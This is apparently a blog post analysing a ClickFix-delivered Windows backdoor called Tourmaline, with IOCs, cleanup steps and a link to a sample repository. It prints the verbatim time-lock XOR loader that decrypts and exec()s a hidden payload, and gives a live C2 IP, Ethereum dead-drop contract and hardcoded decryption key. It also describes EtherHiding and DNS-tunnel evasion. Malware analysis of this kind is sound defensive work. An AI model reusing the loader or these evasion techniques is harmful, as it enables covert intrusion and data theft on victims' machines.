A few weeks ago, a fake Cloudflare verification popup appeared on a site I was visiting. You've probably seen these — a clean-looking overlay, a spinner, then a message telling you to press Win+R and paste something into the Run dialog to "verify you're human." This is called ClickFix, and it's one of the more effective social engineering tricks making the rounds right now because it bypasses every browser-level protection by making you the delivery mechanism.
I'm on Linux, so nothing ran. But I had the file. I decided to find out exactly what it would have done to a Windows machine.
What I found was more interesting than I expected.
First Look: What Even Is This File?
The file is called Tourmaline.exe. It's about 10.8 MB. Running file on it tells you it's a PE32 executable, which is normal. But the size is a hint — that's a lot of overhead for a dropper.
My first instinct was PyInstaller. A lot of commodity malware bundles Python this way. I ran pyinstxtractor.py on it:
Missing cookie
Not PyInstaller. So I looked at the overlay — the data appended after the PE sections end. There's 10.4 MB of it. Somewhere in there is a magic signature:
rDlPtS\xcd\xe6\xd7{\x0b*
That's Inno Setup. Specifically version 6.7.0 Unicode, Revision 2. This is significant because standard innoextract (version 1.9) only supports Revision 1. Revision 2 switches from 32-bit to 64-bit offsets internally. Every automated tool I tried choked on it. I had to parse the format manually.
The Inno Setup header is at offset 10,135,881 in the file, compressed with LZMA1. Once decompressed it gives up all the metadata:
- App name:
Tourmaline - App version:
2.63.519 - GUID:
{2C25872D-85FC-44C7-9B16-844E39E50A44} - Install path:
%ProgramData%\Tourmaline - Bundled runtime: Python 3.11 (full embed)
- Payload files: 36 files in a solid LZMA2 stream
The install runs silently: /VERYSILENT /SUPPRESSMSGBOXES /NORESTART. The installer kills any existing pythonw.exe first, drops everything, registers persistence, and leaves.
Two files in the payload are interesting: main.py and QGBdu.dxf. Everything else is just the Python runtime.
Stage 1: The Time-Lock
main.py is 13 lines. Here it is in its entirety (lightly formatted for readability):
import os, sys, struct
_t = bytes.fromhex('2b0cffe07b06ac25793b3f00cfaa2dd5881c2d6378165247539dbbdaeb')
_s = bytes.fromhex('6731203d206c616d626461206c362c20')
_f = open(os.path.join(..., 'QGBdu.dxf'), 'rb').read()
_kl = 33
for _n in range(99999999, -1, -1):
_c = struct.pack('>I', _n) + _t
_ok = True
for _i in range(16):
if _f[_i] ^ _c[_i % _kl] != _s[_i]:
_ok = False
break
if _ok:
exec(bytes(_f[i] ^ _c[i % _kl] for i in range(len(_f))))
What this does: it counts _n down from 99,999,999 to 0. At each step it builds a 33-byte XOR key by prepending the 4-byte big-endian encoding of _n to a fixed 29-byte suffix. It tests that key against a known-plaintext check on the first 16 bytes of QGBdu.dxf. When it finds the right _n, it decrypts the whole file and exec()s the result.
Why this is smart: automated sandboxes have time limits, usually 60–120 seconds. This loop at Python speed takes hours to brute force from 99 million downward. Sandbox times out, payload never runs, sandbox reports "clean."
Why this is dumb: it's a known-plaintext attack waiting to happen.
_s decodes to g1 = lambda l6, in ASCII. That's the first 16 bytes of the decrypted output. Since ciphertext[i] XOR key[i] = plaintext[i], I can recover the first 4 bytes of the key — which are struct.pack('>I', _n) — instantly:
key_prefix = bytes(ciphertext[i] ^ known_plaintext[i] for i in range(4))
# Result: 00dd6c54 → _n = 14,511,188
Full key recovered in microseconds. No loop needed. QGBdu.dxf decrypts to 57,836 bytes of Python source.
Stage 2: The Backdoor
The decrypted payload is heavily obfuscated — every string is stored as a XOR-encoded integer expression. I wrote an AST transformer to deobfuscate all of them, which gives you the actual readable source.
Here's what it does.
Startup
On launch it reads MachineGuid from HKLM\SOFTWARE\Microsoft\Cryptography, hashes it, and creates a mutex Global\Tourmaline_<hash> to prevent running twice. It then starts the C2 resolution chain.
Blockchain Dead-Drop
Before connecting to anything, the malware figures out where its C2 server is. It does this by querying an Ethereum smart contract on the Sepolia testnet:
Contract : 0x2d7a04cca0c34005f58393f30ac725e25f19e5f5
Function : 0xeb9fd6fe
Network : Ethereum Sepolia (chainId 11155111)
RPC : https://ethereum-sepolia-rpc.publicnode.com
The contract returns a ChaCha20-encrypted blob. The decryption key is hardcoded in the binary:
36f555c87f71581f57d83576c88193fdc00a0173f741a3e198e2d7abdc9cda59
Decrypting the blob gives the active C2 IP address. I ran this live during analysis — the contract returned 158.94.211.185.
This technique is called EtherHiding in threat intel circles. The reason it's clever: there is no domain to sinkhole, no IP to blocklist at the infrastructure level. The attacker updates the contract, every infected machine pivots to the new address. The blockchain is the phonebook, and it can't be taken down.
DNS Tunnel
All actual communication happens over a custom DNS tunnel. The malware sends raw UDP packets to 158.94.211.185:53, formatted as DNS queries for subdomains of microsoft.com. To a firewall, this looks like Windows phoning home to Microsoft's DNS infrastructure.
The implementation is fully hand-rolled — no Python socket.getaddrinfo, no dns library, nothing. It builds raw DNS wire-format packets from scratch. Each packet applies a random XOR byte to the DNS opcode field to prevent easy signature matching.
Data is base-encoded into DNS label format and sent as queries like:
<encoded_data>.microsoft.com
Responses come back in DNS answer records and are reassembled on the client side.
Task Execution
The main loop polls the C2 for tasks via the DNS tunnel. Tasks arrive ChaCha20-encrypted and ECDSA P-256 signed with the attacker's private key. The malware verifies the signature before doing anything — this prevents a defender who discovers the infrastructure from injecting fake commands to disrupt the botnet (sinkholing).
The verified task is then exec()'d inside a persistent Python namespace. Output is captured and returned to C2 via the same tunnel.
Supported task types include arbitrary Python execution, file exfiltration, shell commands, and self-update.
Persistence
The installer registers the payload as a scheduled task named TourmalineUpdate with the display name "Hardware monitoring service." It runs as pythonw.exe (no console window) from %ProgramData%\Tourmaline\.
The Threat Model
Put it all together and here's what the attacker has built:
- Delivery that bypasses browser security by making the user self-execute
- Packing that defeats automated sandbox analysis via a time-lock
- Infrastructure that can't be taken down via traditional domain seizure or IP blocking, because the address book lives on a public blockchain
- Communication that looks like Windows DNS traffic to a Microsoft domain
- Command verification that prevents sinkholing even if someone finds the C2 IP
- Execution capability that is essentially unlimited — arbitrary Python runs on the victim machine
This is not commodity malware. Someone put real engineering time into this.
IOCs
Network:
- C2 IP:
158.94.211.185:53(UDP) - Ethereum contract:
0x2d7a04cca0c34005f58393f30ac725e25f19e5f5(Sepolia) - Spoofed domain:
*.microsoft.com(custom UDP, not real DNS)
File:
Tourmaline.exeSHA256:c9b390b3b7148f549df86503858d52e030b2b5e78fed0bc525ded5927f9265d6Tourmaline.exeMD5:b74ac808dea2de31caf024310694ef0c
Host:
- Mutex:
Global\Tourmaline_<MachineGuid-hash> - Install dir:
%ProgramData%\Tourmaline\ - Scheduled task:
TourmalineUpdate - Process:
pythonw.exe(no window)
Cleanup
If this ran on your machine:
- Disconnect from the network immediately
taskkill /F /IM pythonw.exe- Delete
%ProgramData%\Tourmaline\(or%APPDATA%\Tourmaline\) - Open Task Scheduler, delete
TourmalineUpdate - Check
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runfor stray entries - Block
158.94.211.185:53/UDPat your firewall - Reimage — arbitrary remote code execution means you can't fully trust the machine
Everything Is on GitHub
The full repository is at https://github.com/v-pun215/Tourmaline and includes:
src/stage1_loader.py— original Stage 1 malware code (verbatim from the binary)src/stage2_backdoor.py— fully deobfuscated Stage 2 backdoorsrc/decrypt_payload.py— the O(1) key recovery tool, fully reproducibleiocs/rules.yar— YARA detection rulesiocs/indicators.json/indicators.csv— structured IOCs for SIEM importsamples/Tourmaline_sample.zip— password-protected sample (infected)samples/QGBdu.dxf— the raw encrypted Stage 2 blob
Final Thoughts
ClickFix as a delivery mechanism is going to be around for a while because it's fundamentally a social engineering problem, not a technical one. No browser patch fixes "user pressed Win+R and pasted a command."
The blockchain dead-drop is the part I find most interesting from a defensive standpoint. EtherHiding has been observed in other families but isn't yet widespread enough that most security teams have a detection or response playbook for it. If your EDR is blocking 158.94.211.185 but not alerting on unexpected eth_call traffic to public Ethereum RPC endpoints, you have a blind spot.
Happy to answer questions on the methodology — especially the Inno Setup Revision 2 parsing, which I had to do entirely from scratch.